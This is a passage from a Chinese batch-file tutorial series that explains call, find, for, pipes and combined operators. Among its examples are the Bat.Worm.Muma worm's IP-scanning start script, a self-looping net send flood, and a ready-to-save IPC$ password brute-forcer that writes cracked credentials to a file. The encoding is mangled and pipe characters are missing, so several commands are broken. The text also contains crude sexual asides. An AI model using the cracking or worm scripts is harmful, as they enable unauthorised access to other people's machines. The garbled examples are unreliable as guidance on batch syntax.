  在start.bat中, 10.bat后面跟了參數(shù)0, 在執(zhí)行時(shí)的效果, 其實(shí)就是把10.bat里的參數(shù)%1用0代替。 在start.bat中, ipc.bat后面跟了參數(shù)ipcfind.txt(一個(gè)文件, 也可以做參數(shù)), 執(zhí)行時(shí)的效果, 就是用ipc.bat中的每一行的三個(gè)變量(這里不懂沒(méi)關(guān)系, 學(xué)過(guò)for命令后就懂了), 對(duì)應(yīng)代換ipc.bat中的%%i、%%j和%%k。 這里參數(shù)調(diào)用是非常靈活的, 使用時(shí)需要好好體會(huì)。 在初學(xué)期間, 可以先學(xué)習(xí)只調(diào)用腳本, 至于連腳本的參數(shù)一起使用的情況, 在后面的學(xué)習(xí)中自然就會(huì)有比較深刻的理解, 這是因?yàn)楫?dāng)你已經(jīng)可以靈活運(yùn)用批處理腳本后, 如何使代碼寫(xiě)的更精簡(jiǎn)更完美更高效就自然包括到了考慮的范圍, 這時(shí)候你就會(huì)發(fā)現(xiàn)在調(diào)用腳本時(shí)直接加入?yún)?shù), 可以使代碼效率加倍。 By the way, 上面的這幾個(gè)腳本, 都是Bat.Worm.Muma病毒的一部分, 在后面的教程里, 大家將有機(jī)會(huì)見(jiàn)到這個(gè)病毒的真面目。

  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=

  學(xué)習(xí)批處理!包你學(xué)會(huì)(三)

  作者:未知 文章來(lái)源:網(wǎng)絡(luò)收集 點(diǎn)擊數(shù):1751 更新時(shí)間:2006-5-15

  那是不是說(shuō), 在同一個(gè)目錄下至少存在兩個(gè)批處理腳本文件(只有一個(gè)你調(diào)用誰(shuí)?)?呵呵, 注意了, 這句話錯(cuò)了。≈挥幸粋(gè)照樣可以調(diào)用----調(diào)用自身!看例九(默認(rèn)腳本文件名a.bat):

  net send %1 This is a call example.

  call a.bat

  這兩句一結(jié)合, 效果自然不怎么樣, 因?yàn)橹挥幸慌_(tái)機(jī)器來(lái)發(fā)消息, 誰(shuí)怕誰(shuí)?我給你來(lái)個(gè)禮尚往來(lái)!可如果有100臺(tái)機(jī)器同時(shí)執(zhí)行, 而且每臺(tái)機(jī)器開(kāi)10和窗口同時(shí)向一個(gè)目標(biāo)機(jī)器發(fā)消息的話, 呵呵。 這里call a.bat的作用就是調(diào)用自身, 執(zhí)行完前一句net send命令后再調(diào)用自身, 達(dá)到了循環(huán)執(zhí)行的目的。

  給出一個(gè)很有意思的腳本, 有興趣的朋友可以實(shí)驗(yàn)一下。 例十(默認(rèn)腳本文件名為a.bat):

  call a.bat

  一定要在DOS窗口下執(zhí)行, 否則只會(huì)看到一個(gè)窗口一閃而過(guò), 看不到最后結(jié)果。 等執(zhí)行完后, 當(dāng)腳本被執(zhí)行了1260次, 別忘了想一下到底是為什么!愛(ài)情有時(shí)候跟這個(gè)腳本一樣, 一旦陷入死循環(huán), 最后的結(jié)果都是意想不到的。 只是愛(ài)情, 絕對(duì)不會(huì)等到被毫無(wú)理由的循環(huán)這么多次, 也許在第三次時(shí)就出現(xiàn)了love is aborted的提示。

  9、find

  這是一個(gè)搜索命令, 用來(lái)在文件中搜索特定字符串, 通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個(gè)字?)。 這個(gè)命令單獨(dú)使用的情況在批處理中是比較少見(jiàn)的, 因?yàn)闆](méi)什么實(shí)際意義。 還是借例三來(lái)說(shuō)明:

  @echo off

  netstat -a -n > a.txt

  type a.txt find "7626" && echo "Congratulations! You have infected GLACIER!"

  del a.txt

  pause & exit

  先用netstat命令檢查是否有冰河默認(rèn)的端口7626在活動(dòng), 并把結(jié)果保存到a.txt中。 然后使用type命令列出a.txt中的內(nèi)容, 再在列出的內(nèi)容中搜索字符串“7626” , 發(fā)現(xiàn)有的話則提示中了冰河, 否則退出。 看, find命令其實(shí)就這么簡(jiǎn)單, 但有一點(diǎn)必須要注意到:如果不使用type命令列出a.txt中的內(nèi)容, 而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"), 就必須得給出這個(gè)a.txt的絕對(duì)路徑(我試過(guò)了, find并沒(méi)有默認(rèn)路徑就是當(dāng)前路徑的功能, 必須手動(dòng)指定。 也許是我錯(cuò)了, 歡迎指正)。 因?yàn)樵趂ind命令的幫助里有這么一句話:如果沒(méi)有指定路徑, find將搜索鍵入的或者由另一個(gè)命令產(chǎn)生的文字。 這里的“另一個(gè)命令”自然就指的type命令了。

  至于find命令的其他幾個(gè)參數(shù)如v、n、i等, 有興趣的朋友自己去研究吧, 這已經(jīng)屬于DOS學(xué)習(xí)的內(nèi)容了, 這里就不做介紹。 關(guān)于find命令和其他命令的一些更精妙的用法(有些簡(jiǎn)直令人叫絕), 后續(xù)的教程中將介紹, 希望關(guān)注。

  10、for、set、shift

  為什么把這三個(gè)命令放到一起來(lái)講?原因除了我說(shuō)明外, 恐怕誰(shuí)也想不到!很簡(jiǎn)單的一句話:其實(shí)我也不太懂!是的, 對(duì)于這兩個(gè)命令, 我是從研究Bat.Worm.Muma病毒開(kāi)始學(xué)習(xí)的, 時(shí)間過(guò)去了不少, 但還是沒(méi)完全搞明白, 我怕講出來(lái)連自己都看不懂, 我更怕不小心講錯(cuò)了成了罪人。 所以我給出一個(gè)腳本去告訴你, 如何讓這兩個(gè)命令給自己留一個(gè)初步的印象, 其實(shí)也就是這兩個(gè)命令的入門(mén), 而并不是說(shuō)如何領(lǐng)會(huì)這兩個(gè)命令。 因?yàn)橐I(lǐng)會(huì)如此精妙的兩個(gè)命令(特別是for)談何容易!也許你會(huì)表?yè)P(yáng)我說(shuō)我誠(chéng)實(shí)、不懂就不懂;也許你會(huì)罵我, 讓我既然不懂就趕緊滾蛋, 不要在這里丟人顯眼;也許你還會(huì)說(shuō)一些別的這樣那樣好聽(tīng)或不好聽(tīng)的話, 都隨便你了, 即使我不同意你說(shuō)的話, 我也會(huì)誓死捍衛(wèi)你說(shuō)話的權(quán)利。 看例十一:

  @echo off

  for /? > for.txt

  set /? > set.txt

  shift /? >shift.txt

  exit

  執(zhí)行后在當(dāng)前路徑下就生成for.txt、set.txt和shift.txt三個(gè)文件, 里面分別記錄了for命令、set命令和shift命令的幫助信息。 地球人都能看懂, 我就不多說(shuō)了。 我在網(wǎng)上曾經(jīng)找了很長(zhǎng)時(shí)間這三個(gè)命令的教程, 但都不理想, 基本都是照搬的幫助信息。 我想在自己完全掌握了這兩個(gè)命令后, 一定要寫(xiě)一篇用自己的文字總結(jié)出來(lái)的for、set和shift教程(關(guān)于shift命令, 后面介紹批處理的參數(shù)時(shí)還將涉及到), 一定會(huì)的, 這是我的心愿之一!需要注意的一點(diǎn)是, 這三個(gè)命令的幫助里 , 介紹的都比較死板, 雖然也舉了一些例子, 但這是遠(yuǎn)遠(yuǎn)不夠的。 要掌握這兩個(gè)命令, 最需要的就是耐心!沒(méi)寫(xiě)錯(cuò), 就是耐心。 光是認(rèn)真看完它們的幫助文字就已經(jīng)需要足夠的耐心了, 要進(jìn)一步練習(xí)領(lǐng)會(huì)這兩個(gè)命令, 難道不需要更大的耐心?實(shí)戰(zhàn)練習(xí)的機(jī)會(huì)我會(huì)留給你的, 關(guān)鍵還是那句話, 看你有沒(méi)有耐心去研究了。 看看例十二:

  START.BAT:

  CALL MUMA.BAT

  SET IPA=192.168

  CALL 10.BAT 0

  :NEARAGAIN

  netstat -n find ":" >A.TMP

  FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT

  :START

  CALL RANDOM.BAT

  IF "%NUM1%"=="255" GOTO NEARAGAIN

  IF "%NUM1%"=="192" GOTO NEARAGAIN

  IF "%NUM1%"=="127" GOTO NEARAGAIN

  IF "%NUM2%"=="255" GOTO NEARAGAIN

  IF "%NUM3%"=="255" GOTO NEARAGAIN

  IF "%NUM4%"=="255" GOTO NEARAGAIN

  SET IPA=%NUM1%.%NUM2%

  ECHO START > A.LOG

  PING %IPA%.%NUM3%.1>B.TMP

  PING %IPA%.%NUM3%.%NUM4%>>B.TMP

  FIND /C /I "from" B.TMP

  IF ERRORLEVEL 1 GOTO START

  CALL 10.BAT %NUM3%

  DEL A.LOG

  GOTO START

  這是Bat.Worm.Muma病毒的起始腳本, 設(shè)置了病毒運(yùn)行的環(huán)境變量。 是不是看的頭都大了?又忘了寫(xiě)在第一章第一段的那句話(靜下心來(lái)。 你應(yīng)該能體會(huì)到學(xué)習(xí)這兩個(gè)命令所需要的耐心了吧。 就如同去愛(ài)一個(gè)人, 你得學(xué)會(huì)寬容, 打不得罵不得, 用你寬大的胸懷去包容她的一切, 即使你發(fā)現(xiàn)愛(ài)她的過(guò)程如看上面代碼的過(guò)程一樣讓你頭大, 但你還是得愛(ài)下去----愛(ài)需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風(fēng)平浪靜后, 最直觀的收獲就是, 你的耐心變的前所未有的充足, 面對(duì)她的復(fù)雜和善變, 你自己會(huì)處變不驚, 以自己的方式去從容應(yīng)付曾經(jīng)應(yīng)付不了的場(chǎng)面, 即使到最后一身傷痕, 也會(huì)感慨曾經(jīng)的舉動(dòng)有多么偉大。

  沒(méi)錯(cuò), 這就是批處理的魅力, 這就是愛(ài)的魅力。 讓你受了傷還感謝傷你的人。 這種感覺(jué)就好象在自己最喜歡的音樂(lè)聲中被人強(qiáng)奸, 痛并快樂(lè)著。

  不得不再次重申一遍, 各種DOS命令是批處理的BODY(我實(shí)在找不出一個(gè)更合適的詞來(lái)形容他們之間的關(guān)系), 學(xué)好DOS命令是學(xué)好批處理的前提。 其他DOS命令如copy、dir、del、type、path、break、start等內(nèi)部命令, 以及ping、net、cmd、at、sort、attrib、fc、find等外部命令, 在批處理里的應(yīng)用非常廣泛。 這篇教程的作用, 是教你認(rèn)識(shí)批處理, 以及如何利用DOS命令組合出來(lái)一個(gè)完美的批處理腳本, 去讓它自動(dòng)完成你想要它做的事情。 而靈活自如的編輯一個(gè)批處理腳本是建立在熟練掌握DOS命令的基礎(chǔ)上的, 這已經(jīng)超出了本文的范疇, 在此就不贅述了。

  不知不覺(jué)中第三章已經(jīng)結(jié)束了。 耳麥里傳來(lái)的依然是陳曉東的《比我幸!, 每隔4分32秒就自動(dòng)重播。 雖然我不并不很喜歡陳曉東, 可這并不妨礙我喜歡音樂(lè), 喜歡這首描寫(xiě)的如此讓人感慨的歌。 請(qǐng)你一定要比我幸福/才不枉費(fèi)我狼狽退出/再痛也不說(shuō)苦/愛(ài)不用抱歉來(lái)彌補(bǔ)/至少我能成全你的追逐/請(qǐng)記得你要比我幸福/才值得我對(duì)自己殘酷/我默默的倒數(shù)/最后再把你看清楚/看你眼里的我好饃糊/慢慢被放逐。 我如同一個(gè)因年老失色而拉不到客的老妓女, 絕望的徘徊在曾經(jīng)輝煌的紅燈區(qū), 用一臉的木然瞟一眼來(lái)來(lái)去去的人群, 默默的回憶自己并不光彩的過(guò)去, 幻想自己將要面對(duì)的未來(lái)。 直到看見(jiàn)那些幸福依偎在一起的情侶們, 才突然間發(fā)現(xiàn)上帝的公平, 和這種公平的殘忍。

  可以說(shuō), 批處理腳本中最重要的幾個(gè)命令我都沒(méi)有給出如echo或if那樣比較詳細(xì)的介紹, 原因我已經(jīng)說(shuō)了, 因?yàn)槲乙彩莻(gè)菜, 我也不太懂----但我正在學(xué)!你呢?今天又去了一趟圖書(shū)館, 淘金一樣發(fā)現(xiàn)了一本叫《DOS批文件》的東東, 藏在一個(gè)角落里落滿了灰, 五本摞一起就跟磚頭一樣厚了。 大概翻了一下, 里面介紹了很多比較底層和基礎(chǔ)的東西, 雖然從思路上講, 已經(jīng)有點(diǎn)time out了, 很多東西已經(jīng)基本沒(méi)有利用的價(jià)值(這就是信息時(shí)代的更新速度), 但還是很值得看的。 于是打算下午淘過(guò)來(lái), 放假回去了再好好研究一番, 連同那幾個(gè)不熟悉的命令一起搞熟了, 再續(xù)寫(xiě)這篇教程。 我始終堅(jiān)信, 沒(méi)有最好只有更好。

  但是很可惜, 等到下午再去的時(shí)候, 圖書(shū)館樓梯口已經(jīng)立了一個(gè)牌子, 上面寫(xiě)著out of service----人家這學(xué)期的工作結(jié)束了。 于是回到宿舍打算繼續(xù)寫(xiě)第四章, 正在這時(shí)又得到一個(gè)“振奮人心”的消息:期末考試有一科掛了, 而且是全班第一----這一門(mén)整個(gè)班里就掛了我一個(gè)。 郁悶的情緒剎那間涌上心頭, 整個(gè)世界仿佛都變成黑的了。 食堂和小賣(mài)部已經(jīng)陸續(xù)關(guān)門(mén), 學(xué)校里的人越來(lái)越少, 迎面過(guò)來(lái)的幾個(gè)同學(xué)也都一身行李, 忙碌著準(zhǔn)備回家過(guò)年, 內(nèi)心的孤寂和失落如同夏日里暴雨前的烏云, 迅速而不可抗拒的占領(lǐng)了心里每一個(gè)角落。 迎著一月的冷風(fēng)我一個(gè)人在天橋上發(fā)呆, 還能怎么樣, 連期末考試都應(yīng)付不了的失敗男人。

  “課間休息”時(shí)間好象長(zhǎng)了點(diǎn), 呵呵, 上課了!從這一章開(kāi)始, 將詳細(xì)介紹批處理中常用的幾個(gè)組合命令和管道命令。 這些命令雖然不是必須的, 如同愛(ài)一個(gè)人時(shí)不一定非得每天去陪, 但如果少了這個(gè)過(guò)程, 事情就會(huì)變的復(fù)雜而不完美, 所以我認(rèn)為管道命令和組合命令是批處理的調(diào)味劑, 幾乎是少不了的。

  下面從管道命令講起。 常用的管道命令有以下這些: 、>、>>

  11、

  這個(gè)命令恐怕大家不是很陌生, 經(jīng)常操作DOS的朋友都應(yīng)該知道, 當(dāng)我們查看一個(gè)命令的幫助時(shí), 如果幫助信息比較長(zhǎng), 一屏幕顯示不完時(shí)DOS并不給我們時(shí)間讓我們看完一屏幕再翻到另一屏幕, 而是直接顯示到幫助信息的最后。 如在提示符下輸入help回車(chē)時(shí), 就會(huì)看到當(dāng)前DOS版本所支持的所有非隱含命令, 但你只能看到最后的那些命令, 前面的早就一閃而過(guò)了, 如何解決這個(gè)問(wèn)題?看例十三:

  help more

  回車(chē)后會(huì)發(fā)現(xiàn)顯示滿一屏幕后就自動(dòng)暫停, 等候繼續(xù)顯示其他信息。 當(dāng)按寫(xiě)回車(chē)時(shí), 變成一個(gè)一個(gè)的出現(xiàn);按下空格鍵時(shí)一屏幕一屏幕顯示, 直到全部顯示完為止;按其他鍵自動(dòng)停止返回DOS。

  為什么會(huì)出現(xiàn)上述現(xiàn)象?答案很簡(jiǎn)單, 這里結(jié)合了管道命令 和DOS命令more來(lái)共同達(dá)到目的的。 這里先簡(jiǎn)單介紹一下help命令和more命令, 對(duì)理解 命令的用法有很大幫助。

  11.1、help命令。 其實(shí)這個(gè)命令是不需要多說(shuō)的, 但在上述例子中help命令的用法比較特殊, 直接在DOS提示符下輸入help命令, 結(jié)果是讓DOS顯示其所支持的所有非隱含命令, 而在其他地方用help命令, 如輸入net help回車(chē), 則是顯示net命令的幫助信息。

  11.2、more命令。 可能很多朋友以前就沒(méi)有接觸過(guò)這個(gè)命令, 這個(gè)命令在Linux下的用處非常廣泛, 也是管道命令之一。 大家可以找一篇比較長(zhǎng)的文章(a.txt)在DOS提示符下輸入如下兩個(gè)命令去比較一下差別:more a.txt和type a.txt。 利用more命令, 可以達(dá)到逐屏或逐行顯示輸出的效果, 而type命令只能一次把輸出顯示完, 最后的結(jié)果就是只能看到末尾的部分。 在例十三里, more命令的作用就是讓輸出的信息逐屏或逐行顯示。

  看到這里, 你是否已經(jīng)能隱約感受到了 命令的作用了?沒(méi)錯(cuò), 它的作用, 就是把前一命令的輸出當(dāng)后一命令的輸入來(lái)用的。 在例十三里, 前一命令的輸出, 就是help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令, 而這個(gè)結(jié)果剛好做了后一命令more的輸入。 所以例十三和下面的例十四是等效的:

  help > a.txt

  more a.txt

  del a.txt

  這里利用另一管道命令>生成了一個(gè)a.txt文件作為中間環(huán)節(jié), 在用more命令查看a.txt文件后再刪除a.txt文件(例十三的所有操作是在內(nèi)存中進(jìn)行的, 不生成文件)。 可以看出, 正確使用管道命令 可以帶來(lái)事半功倍的效果。

  結(jié)合例十三和例十四, 以及前面的例九再體會(huì)一遍: 命令的作用, 就是讓前一命令的輸出當(dāng)做后一命令的輸入。

  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

  學(xué)習(xí)批處理!包你學(xué)會(huì)(四)

  作者:未知 文章來(lái)源:網(wǎng)絡(luò)收集 點(diǎn)擊數(shù):3806 更新時(shí)間:2006-5-16

  12、>、>>

  這兩個(gè)命令的效果從本質(zhì)上來(lái)說(shuō)都是一樣的, 他們都是輸出重定向命令, 說(shuō)的通俗一點(diǎn), 就是把前面命令的輸出寫(xiě)入到一個(gè)文件中。 這兩個(gè)命令的唯一區(qū)別是, >會(huì)清除掉原有文件中的內(nèi)容后把新的內(nèi)容寫(xiě)入原文件, 而>>只會(huì)另起一行追加新的內(nèi)容到原文件中, 而不會(huì)改動(dòng)其中的原有內(nèi)容。 例十五:

  echo @echo off > a.bat

  echo echo This is a pipeline command example. >> a.bat

  echo echo It is very easy? >> a.bat

  echo echo Believe your self! >> a.bat

  echo pause >> a.bat

  echo exit >> a.bat

  依次在DOS提示符下輸入以上各行命令, 一行一個(gè)回車(chē), 將在當(dāng)前目錄下生成一個(gè)a.bat文件, 里面的內(nèi)容如下:

  @echo off

  echo This is a pipeline command example.

  echo It is very easy?

  echo Believe your self!

  pause

  exit

  看到這里, 你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫(xiě)入功能編輯一個(gè)文本, 而不需要專門(mén)的文本編輯工具;2、管道命令>和>>的區(qū)別如上所述。 如果這里只用>命令來(lái)完成上面操作, 最后也會(huì)生成一個(gè)a.bat, 但里面的內(nèi)容就只剩下最后一行exit了。 所以>和>>一般都聯(lián)合起來(lái)用, 除非你重定向的輸出只有一行, 那么就可以只用>了。 結(jié)合例一再仔細(xì)體會(huì)輸出重定向管道命令>和>>的用法。

  13、<、>&、<&

  這三個(gè)命令也是管道命令, 但它們一般不常用, 你只需要知道一下就ok了, 當(dāng)然如果想仔細(xì)研究的話, 可以自己查一下資料。

  <, 輸入重定向命令, 從文件中讀入命令輸入, 而不是從鍵盤(pán)中讀入。

  >&, 將一個(gè)句柄的輸出寫(xiě)入到另一個(gè)句柄的輸入中。

  <&, 剛好和>&相反, 從一個(gè)句柄讀取輸入并將其寫(xiě)入到另一個(gè)句柄輸出中。

  關(guān)于這三個(gè)管道命令的舉例, 在后面批處理腳本的精妙應(yīng)用中還將涉及到。

  下面介紹組合命令:&、&&、

  組合命令, 顧名思義, 就是可以把多個(gè)命令組合起來(lái)當(dāng)一個(gè)命令來(lái)執(zhí)行。 這在批處理腳本里是允許的, 而且用的非常廣泛。 它的格式很簡(jiǎn)單----既然現(xiàn)在已經(jīng)成了一個(gè)文件了, 那么這多個(gè)命令就要用這些組合命令連接起來(lái)放在同一行----因?yàn)榕幚碚J(rèn)行不認(rèn)命令數(shù)目。 組合命令的作用, 就如同給愛(ài)人陪不是, 說(shuō)一句是說(shuō), 說(shuō)十句也是說(shuō), 不一次把好話都說(shuō)了出來(lái), 效果可能會(huì)好些----當(dāng)然得排除一種特殊情況:這些話是否有先后順序, 有些話是否可以同時(shí)說(shuō)。 在批處理腳本里也一樣, 有些時(shí)候某些命令是不能同時(shí)執(zhí)行的, 后面給你說(shuō)。

  剛剛又送走了一個(gè)同學(xué), 人去樓空的感覺(jué)越來(lái)越明顯, 望著空蕩蕩的床鋪, 平日里喧鬧的宿舍就只剩下我一個(gè)人了, 整個(gè)世界只有那個(gè)平時(shí)令人非常討厭的老鼠這時(shí)候才顯得可愛(ài)起來(lái)----只有它會(huì)陪著我在這不敢開(kāi)燈的漆黑夜里----一個(gè)連期末考試都應(yīng)付不了的失敗男人。 失敗!我感到快要呼吸不過(guò)來(lái), 這種失敗的壓力簡(jiǎn)直令我窒息, 簡(jiǎn)直讓我的手接收不到大腦的信號(hào), 簡(jiǎn)直讓這篇未完成的教程夭折。 但我能怪誰(shuí)?

  忙碌了一學(xué)期要過(guò)年了卻掛了科, 失;掛了科也倒罷了, 竟然一個(gè)人拖全班的后退, 失敗中的失;更失敗的, 是在這最失落的時(shí)候, 竟然找不到一個(gè)人可以傾訴;然而最失敗的, 是突然發(fā)現(xiàn)自己竟然如此脆弱, 如此耐不住寂寞。 不過(guò)這倒也解開(kāi)了心中疑惑很久的一個(gè)問(wèn)題:為什么明知道那段情是一個(gè)旋渦卻還心甘情愿的往里面跳----這就是青春, 風(fēng)一樣的年齡, 火一樣不安的心。 不再愛(ài)了, 我不要再一個(gè)人的時(shí)候苦苦等待;不再愛(ài)了, 我不要在你給的囚籠里憐憫的愛(ài);不再愛(ài)了, 我不要在別人的視線里如此可笑;不再愛(ài), 我不再愛(ài)。 就算塌下來(lái), 我也要一個(gè)人扛著, 頭不能低腰不能彎, 不能喘息不能傾訴, 因?yàn)殡m然失敗, 但還是男人, 是男人就不能向困難低頭!

  14、&

  這可以說(shuō)是最簡(jiǎn)單的一個(gè)組合命令了, 它的作用是用來(lái)連接n個(gè)DOS命令, 并把這些命令按順序執(zhí)行, 而不管是否有命令執(zhí)行失敗。 例十六:

  copy a.txt b.txt /y & del a.txt

  其實(shí)這句和move a.txt b.txt的效果是一樣的, 只不過(guò)前者是分了兩步來(lái)進(jìn)行的(在后面還將涉及到具體使用哪種方法的問(wèn)題)。 這個(gè)命令很簡(jiǎn)單, 就不多費(fèi)口舌了, 唯一需要注意的一點(diǎn)是, 這里&兩邊的命令是有執(zhí)行順序的, 從前往后執(zhí)行。

  15、&&

  切記, 這里介紹的幾個(gè)命令都是組合命令, 所以他們前后都必須都有其他命令(要不如何組合?)。 這個(gè)命令也不例外, 它可以把它前后兩個(gè)命令組合起來(lái)當(dāng)一個(gè)命令來(lái)用, 與&命令不同之處在于, 它在從前往后依次執(zhí)行被它連接的幾個(gè)命令時(shí)會(huì)自動(dòng)判斷是否有某個(gè)命令執(zhí)行出錯(cuò), 一旦發(fā)現(xiàn)出錯(cuò)后將不繼續(xù)執(zhí)行后面剩下的命令。 這就為我們自動(dòng)化完成一些任務(wù)提供了方便。 例十七:

  dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

  如果遠(yuǎn)程主機(jī)存在user.mdb, 則copy到本地e:\backup\www, 如果不存在當(dāng)然就不執(zhí)行copy了。 這句對(duì)搞網(wǎng)管的朋友是否有點(diǎn)用呢?呵呵。 其實(shí)它和下面這句的作用是一樣的:

  if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

  至于你喜歡用哪個(gè)就隨便了, 我沒(méi)辦法判斷dir和if兩個(gè)命令哪一個(gè)執(zhí)行效率更高, 所以不知道用哪個(gè)更好, 呵呵。

  你是否還記得“有些命令是不能同時(shí)執(zhí)行的”?你是否相信這句話?當(dāng)然得相信, 不信就給你出道題:把C盤(pán)和D盤(pán)的文件和文件夾列出到a.txt文件中。 你將如何來(lái)搞定這道題?有朋友說(shuō), 這還不是很easy的問(wèn)題嗎?同時(shí)執(zhí)行兩個(gè)dir, 然后把得到的結(jié)果>到a.txt里就ok了嘛, 看例十八:

  dir c:\ && dir d:\ > a.txt

  仔細(xì)研究一下這句執(zhí)行后的結(jié)果, 看看是否能達(dá)到題目的要求!錯(cuò)了!這樣執(zhí)行后a.txt里只有D盤(pán)的信息!為什么?就因?yàn)檫@里&&命令和>命令不能同時(shí)出現(xiàn)一個(gè)句子里(批處理把一行看成一個(gè)句子)。〗M合命令&&的優(yōu)先級(jí)沒(méi)有管道命令>的優(yōu)先級(jí)高(自己總結(jié)的, 不妥的地方請(qǐng)指正)!所以這句在執(zhí)行時(shí)將本分成這兩部分:dir c:\和dir d:\ > a.txt, 而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。 要使用組合命令&&達(dá)到題目的要求, 必須得這么寫(xiě):

  dir c:\ > a.txt && dir d:\ >> a.txt

  這樣, 依據(jù)優(yōu)先級(jí)高低, DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。 例十八中的幾句的差別比較特殊, 值得好好研究體會(huì)一下。

  當(dāng)然這里還可以利用&命令(自己想一下道理哦):

  dir c:\ > a.txt & dir d:\ >> a.txt

  16、

  這個(gè)命令的用法和&&幾乎一樣, 但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時(shí), 當(dāng)遇到一個(gè)執(zhí)行正確的命令就退出此命令組合, 不再繼續(xù)執(zhí)行下面的命令。 題目:查看當(dāng)前目錄下是否有以s開(kāi)頭的exe文件, 如果有則退出。 例十九:

  @echo off

  dir s*.exe exit

  其實(shí)這個(gè)例子是有破綻的, 你看出來(lái)了嗎?其實(shí)很簡(jiǎn)單, 自己試試就知道了嘛:如果存在那個(gè)exe文件, 就退出;如果不存在那個(gè)exe文件, 也退出!為什么?因?yàn)槿绻淮嬖谀莻(gè).exe文件, 則前一條命令dir s*.exe執(zhí)行肯定是不成功的, 所以就繼續(xù)執(zhí)行exit, 自然就退出了, 呵呵。 那么如何解決題目給出的問(wèn)題呢?看例二十:

  @echo off

  dir s*.exe echo Didn't exist file s*.exe & pause & exit

  這樣執(zhí)行的結(jié)果, 就能達(dá)到題目的要求, 是否存在s*.exe將出現(xiàn)兩種結(jié)果。 這里加暫停的意思, 當(dāng)然是讓你能看到echo輸出的內(nèi)容, 否則一閃而過(guò)的窗口, echo就白寫(xiě)了。

  給出兩個(gè)更好研究?jī)?yōu)先級(jí)(同時(shí)也是更難理解)的腳本, 仔細(xì)研究它們的區(qū)別, 以便徹底理解各種命令的優(yōu)先級(jí)順序, 對(duì)以后自己利用這些命令寫(xiě)腳本有很大的好處----不會(huì)出錯(cuò)!OK, 請(qǐng)看例二十一和例二十二:

  例二十一:

  @echo off

  dir a.ttt /a & dir a.txt exit

  例二十二:

  @echo off

  dir a.ttt /a && dir a.txt exit

  警告:患有心腦血管病的朋友請(qǐng)不要研究以上兩例, 否則輕者頭大如斗, 重者血管爆裂。 任何人由于研究這兩個(gè)腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護(hù)人負(fù)責(zé), 與本人和本論壇無(wú)關(guān)。 特此警告!

  有關(guān)管道命令和組合命令就大概介紹到這里了, 不知道聰明的你是否理解?呵呵, 能理解就成天才了, 除非你以前就已經(jīng)掌握!千萬(wàn)別小看了這幾個(gè)鬼命令, 大棒槌是我的說(shuō), 簡(jiǎn)直就不是人學(xué)的東西!但我還是靜下心來(lái)研究了一番, 最后得出的結(jié)論如上所述, 已經(jīng)一點(diǎn)不剩的交給你了, 希望你好好收藏并消化吸收, 當(dāng)然有錯(cuò)誤被你發(fā)現(xiàn)了, 或者不完整的地方被你看出來(lái)了, 請(qǐng)趕緊告訴我一聲!

  這幾個(gè)命令真的把我的頭都搞大了。 在網(wǎng)上有一篇流傳很廣的批處理教程:“簡(jiǎn)明批處理教程”, 雖然說(shuō)的比較全面, 但看起來(lái)很不過(guò)癮。 在對(duì)for等命令介紹時(shí)就一個(gè)for /? > a.txt & start a.txt完事了(當(dāng)然這一點(diǎn)上我不能說(shuō)人家什么, 畢竟我連for /?都沒(méi)給出), 而對(duì)上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊(cè)表等方面根本沒(méi)有介紹。 我之所以花整整一章來(lái)講管道命令和組合命令, 是因?yàn)樗麄儾攀桥幚淼木A和靈魂, 能否正確利用好這幾個(gè)命令, 是能否掌握批處理的前提條件。 如for、set等DOS命令的問(wèn)題, 可以從DOS的角度出發(fā)專門(mén)有針對(duì)性的學(xué)習(xí), 但有關(guān)這幾個(gè)命令的問(wèn)題, 卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了!

  將下列代碼存為bat文件

  1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機(jī) 用戶名

  2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長(zhǎng) 結(jié)束數(shù) 主機(jī) 用戶名

  密碼破解出來(lái)之后, 存放于c:\pass.txt文件里面。

  將下列代碼存為pass.bat文件

  @echo off

  echo ------------------------------------------------------------------- >>c:\pass.txt

  echo ------------------------------------------------------------------- >>c:\pass.txt

  date /t >>c:\pass.txt

  time /t >>c:\pass.txt

  echo 破解結(jié)果: >>c:\pass.txt

  if "%6"=="1" goto 大棒槌是我的說(shuō)2

  :大棒槌是我的說(shuō)1

  start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3

  goto quit

  :大棒槌是我的說(shuō)2

  start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5

  :quit

  將下列代碼存為test.bat

  net use \\%1\ipc$ %2 /user:"%3"

  goto answer%ERRORLEVEL%

  rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果, net use成功返回0, 失敗返回2

  :answer0

  echo 遠(yuǎn)程主機(jī):"%1" >>c:\pass.txt

  echo 用 戶:"%3" >>c:\pass.txt

  echo 密 碼:%2 >>c:\pass.txt

  net use \\%1\ipc$ /delet

  exit

  :answer2

  For

  對(duì)一組文件中的每個(gè)文件運(yùn)行指定的命令。

  可以在批處理程序中或直接從命令提示符使用 for 命令。

  要在批處理程序中使用 for 命令, 請(qǐng)使用以下語(yǔ)法:

  for %%variable in (set) docommand [command-parameters]

  要在命令提示符下使用 for, 請(qǐng)使用以下語(yǔ)法:

  for %variable in (set) do command [command-parameters]

  參數(shù)

  %%variable 或 %variable

